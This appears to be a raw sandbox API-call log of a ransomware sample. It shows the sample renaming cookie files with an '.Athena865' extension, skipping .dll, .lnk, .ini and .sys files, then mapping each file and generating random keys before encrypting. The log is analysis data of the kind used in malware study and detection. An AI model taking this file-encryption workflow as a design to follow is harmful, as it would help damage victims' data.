lstrlenW (lpString=".lnk") returned 4 [0101.065] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", lpString2=".lnk") returned 1 [0101.065] lstrlenW (lpString=".ini") returned 4 [0101.065] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", lpString2=".ini") returned 1 [0101.065] lstrlenW (lpString=".sys") returned 4 [0101.065] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", lpString2=".sys") returned 1 [0101.065] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned 37 [0101.065] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.Athena865") returned 106 [0101.065] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.067] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.067] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=513) returned 1 [0101.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.067] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.068] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.068] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.068] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x17c [0101.070] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000 [0101.071] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.071] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.071] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.072] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@bing[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@bing[1].txt") returned="5p5nrgjn0js_halpmcxz@bing[1].txt" [0101.072] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@bing[1].txt") returned 32 [0101.072] lstrlenW (lpString="Athena865") returned 9 [0101.072] lstrcmpiW (lpString1="ng[1].txt", lpString2="Athena865") returned 1 [0101.072] lstrlenW (lpString=".dll") returned 4 [0101.072] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@bing[1].txt", lpString2=".dll") returned 1 [0101.072] lstrlenW (lpString=".lnk") returned 4 [0101.072] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@bing[1].txt", lpString2=".lnk") returned 1 [0101.072] lstrlenW (lpString=".ini") returned 4 [0101.072] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@bing[1].txt", lpString2=".ini") returned 1 [0101.072] lstrlenW (lpString=".sys") returned 4 [0101.072] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@bing[1].txt", lpString2=".sys") returned 1 [0101.072] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@bing[1].txt") returned 32 [0101.072] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.Athena865") returned 101 [0101.072] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.073] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.074] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=490) returned 1 [0101.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.074] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.078] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.078] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.078] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f0, lpName=0x0) returned 0x17c [0101.084] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f0) returned 0x100000 [0101.086] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.087] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.087] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.087] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@c.bing[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned="5p5nrgjn0js_halpmcxz@c.bing[1].txt" [0101.087] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned 34 [0101.087] lstrlenW (lpString="Athena865") returned 9 [0101.087] lstrcmpiW (lpString1="ng[1].txt", lpString2="Athena865") returned 1 [0101.087] lstrlenW (lpString=".dll") returned 4 [0101.087] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.bing[1].txt", lpString2=".dll") returned 1 [0101.087] lstrlenW (lpString=".lnk") returned 4 [0101.087] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.bing[1].txt", lpString2=".lnk") returned 1 [0101.087] lstrlenW (lpString=".ini") returned 4 [0101.087] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.bing[1].txt", lpString2=".ini") returned 1 [0101.087] lstrlenW (lpString=".sys") returned 4 [0101.088] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.bing[1].txt", lpString2=".sys") returned 1 [0101.088] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@c.bing[1].txt") returned 34 [0101.088] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.Athena865") returned 103 [0101.088] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.091] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.092] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=456) returned 1 [0101.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.092] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.093] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.093] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.093] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d0, lpName=0x0) returned 0x17c [0101.095] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d0) returned 0x100000 [0101.095] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.096] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.096] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.097] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@c.msn[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned="5p5nrgjn0js_halpmcxz@c.msn[1].txt" [0101.097] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned 33 [0101.097] lstrlenW (lpString="Athena865") returned 9 [0101.097] lstrcmpiW (lpString1="sn[1].txt", lpString2="Athena865") returned 1 [0101.097] lstrlenW (lpString=".dll") returned 4 [0101.097] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.msn[1].txt", lpString2=".dll") returned 1 [0101.097] lstrlenW (lpString=".lnk") returned 4 [0101.097] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.msn[1].txt", lpString2=".lnk") returned 1 [0101.097] lstrlenW (lpString=".ini") returned 4 [0101.097] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.msn[1].txt", lpString2=".ini") returned 1 [0101.097] lstrlenW (lpString=".sys") returned 4 [0101.097] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@c.msn[1].txt", lpString2=".sys") returned 1 [0101.097] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned 33 [0101.097] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.Athena865") returned 102 [0101.097] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.098] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.099] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=130) returned 1 [0101.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.099] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.100] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.100] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.100] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.102] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.102] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.103] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.103] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.104] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@doubleclick[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned="5p5nrgjn0js_halpmcxz@doubleclick[2].txt" [0101.104] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 39 [0101.104] lstrlenW (lpString="Athena865") returned 9 [0101.104] lstrcmpiW (lpString1="ck[2].txt", lpString2="Athena865") returned 1 [0101.104] lstrlenW (lpString=".dll") returned 4 [0101.104] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", lpString2=".dll") returned 1 [0101.104] lstrlenW (lpString=".lnk") returned 4 [0101.104] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", lpString2=".lnk") returned 1 [0101.104] lstrlenW (lpString=".ini") returned 4 [0101.104] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", lpString2=".ini") returned 1 [0101.104] lstrlenW (lpString=".sys") returned 4 [0101.104] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", lpString2=".sys") returned 1 [0101.104] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 39 [0101.104] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.Athena865") returned 108 [0101.104] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.106] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=272) returned 1 [0101.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.106] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.107] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.107] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.107] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x17c [0101.109] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0101.110] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.110] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.110] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.111] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@google[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@google[1].txt") returned="5p5nrgjn0js_halpmcxz@google[1].txt" [0101.111] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[1].txt") returned 34 [0101.111] lstrlenW (lpString="Athena865") returned 9 [0101.111] lstrcmpiW (lpString1="le[1].txt", lpString2="Athena865") returned 1 [0101.111] lstrlenW (lpString=".dll") returned 4 [0101.111] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[1].txt", lpString2=".dll") returned 1 [0101.111] lstrlenW (lpString=".lnk") returned 4 [0101.111] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[1].txt", lpString2=".lnk") returned 1 [0101.111] lstrlenW (lpString=".ini") returned 4 [0101.111] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[1].txt", lpString2=".ini") returned 1 [0101.111] lstrlenW (lpString=".sys") returned 4 [0101.112] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[1].txt", lpString2=".sys") returned 1 [0101.112] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[1].txt") returned 34 [0101.112] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.Athena865") returned 103 [0101.112] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.113] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.113] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=598) returned 1 [0101.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.114] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.115] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.115] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.115] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x17c [0101.116] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000 [0101.117] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.117] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.118] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.118] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@google[3].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@google[3].txt") returned="5p5nrgjn0js_halpmcxz@google[3].txt" [0101.118] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[3].txt") returned 34 [0101.118] lstrlenW (lpString="Athena865") returned 9 [0101.118] lstrcmpiW (lpString1="le[3].txt", lpString2="Athena865") returned 1 [0101.118] lstrlenW (lpString=".dll") returned 4 [0101.118] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[3].txt", lpString2=".dll") returned 1 [0101.118] lstrlenW (lpString=".lnk") returned 4 [0101.118] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[3].txt", lpString2=".lnk") returned 1 [0101.118] lstrlenW (lpString=".ini") returned 4 [0101.118] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[3].txt", lpString2=".ini") returned 1 [0101.118] lstrlenW (lpString=".sys") returned 4 [0101.118] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[3].txt", lpString2=".sys") returned 1 [0101.118] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[3].txt") returned 34 [0101.118] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.Athena865") returned 103 [0101.118] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.athena865"), dwFlags=0x1) returned 1 [0101.120] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.120] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=196) returned 1 [0101.121] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.121] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.121] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.122] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0101.124] MapViewOfFile (hFileMappingObject=0x17c, 